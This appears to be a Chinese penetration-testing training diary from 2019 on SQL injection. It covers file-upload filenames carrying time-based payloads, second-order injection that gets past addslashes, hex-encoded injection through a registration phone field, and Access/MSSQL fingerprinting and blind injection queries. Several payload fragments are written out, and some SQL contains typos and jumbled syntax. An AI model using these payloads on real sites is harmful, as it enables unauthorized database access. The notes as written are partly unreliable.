文件上传,二次注入 第三十五天
0x00 文件上传
利用的SQL语句
update users set a = 'uploads/wss.gif' wnere uname 'abc';
或者
update users set a = 'uploads/wss'wnere id=1 and sleep(3)#.gif'
文件上传修改文件路径:
iploads/wss' where id = 1 and sleep(3)#.gif
0x01 二次注入
二次注入原理
添加waf
addslashes() 过滤宽字节 (addslashes()对单引号,双引号,反斜杠\,字符\x00(NULL)进行处理)
mysql_real_escape_string() (不会转义%和_ , 但会转义:\x00,\n,\r,\,',",\x1a)
注入语句原理:
insert into user (username,password) value ('admin','1')
在post的数据提交:
$uname = $_POST['uname']
$uname = $_POST['upass']
后注入:
$uname = 'abc\''(会被addslashe给转义添加反斜杠)
搜索原理:
$result = select * from user where username=''abc\'' and password='123';
if(result==1){
$_SESSION['uname'] =$result['uname'] 或者 $_SESSION['uname']=$uname
$_SESSION['id'] = $resuit['id']
}
$_SESSION['uname']='ABC\''
$_SESSION['uname']='ABC\''
登录成功之后,写留言
$title = $_POST['title']
$content=$_POST['content']
$author=$_SESSION['uname']
$result = insert into message (title,content,author,time) value($title,$content,$author,new())
以author为带入点,填写数据,
$result = insert into message (title,content,author,time) value($title,$content,'admin',1)#,new())
前提的猜出来这个天交表单的书写形式,才能猜到这种方式
$result = insert into message (title,content,author,time) value($title,$content,'admin',1)#,new())
提到前面:
$result = insert into message (title,content,author,time) value('admin',group_concat(','),1,1)'#$title,$content,1,1)#,new())
如果在注册时不做登录限制就可以在登录框内做sql语句构造
如下实例:
注册发现手机号处有注入
有长度限制,直接改然后burp抓提交包重放
手机框做了字符限制,故用16进制编写sql语句
基本探查发现是数字 然后order by 发现有1个 查询基本信息 version() 、 user()
联合查询 爆数据 先库名
发现web数据库
查询表
爆users表中列
0x03 access注入
access数据库的测试注入点的过程与mysql一致,判断当前数据库的操作为数字型注入
区别是,mysql数据库做联合查询,不需要添加表名,而access和mssql数据库则需要知道一个表名;
access/mssql: select 1,2,3,4,5 from `table_name` union select 1,2,3,4,5 from `table_name`
mysql : select 1,2,3,4,5 from `table_name` union select 1,2,3,4,5
第二点、判断方式相似,order by可以用
Access:
and (select count(*) from MSsAccessObjects)>0 返回正常说明是access
and exists(select count(*) from 表)
sqlserver:
and (select count(*) from sysobjects) >0 返回正常说明是mssql
mysql:
and length(user())>0 返回正常说明是mysql
在mssql可调用substring,orcle则可调用substr
access数据库与mysql数据不一样的地方,union
select需要在后面添加表名,access的数据的不能直接
输出需要猜库名,表名,列明
access是表格文件,而不是数据库文件,没有数据库的概念,
mysql语法不适合access,但注入点判断是相似的
access只有布尔盲注,联合查询
没有报错注入,延时盲注,堆叠查询
猜测表的行数,布尔盲注
and (select count(*) from user)>0
and (select count(id) from user)>0
access可用函数len
不用函数:length、concat
access的偏移注入
access偏移是适用于union联合查询中,根据后接表的字段的多少来判断是否使用此种方式。
此种方式针对知道表,但不知道字段的
知道表名,联合查询,找到输出位,union联合查询
查不到就用,偏移注入,如果后面的多于前面的,基本没戏
判断列数后在说,用哪种方法(但偏移,适用于联合查询)
access的布尔盲注
先以len判断长度
在用substring通过截取字符串来判断是否正确
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com
文章标题:文件上传,二次注入 第三十五天
本文作者:弈少
发布时间:2019-09-03, 11:57:22
最后更新:2019-09-07, 14:38:00
原始链接:http://yoursite.com/2019/09/03/北京渗透测试第三十五天 20190903/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。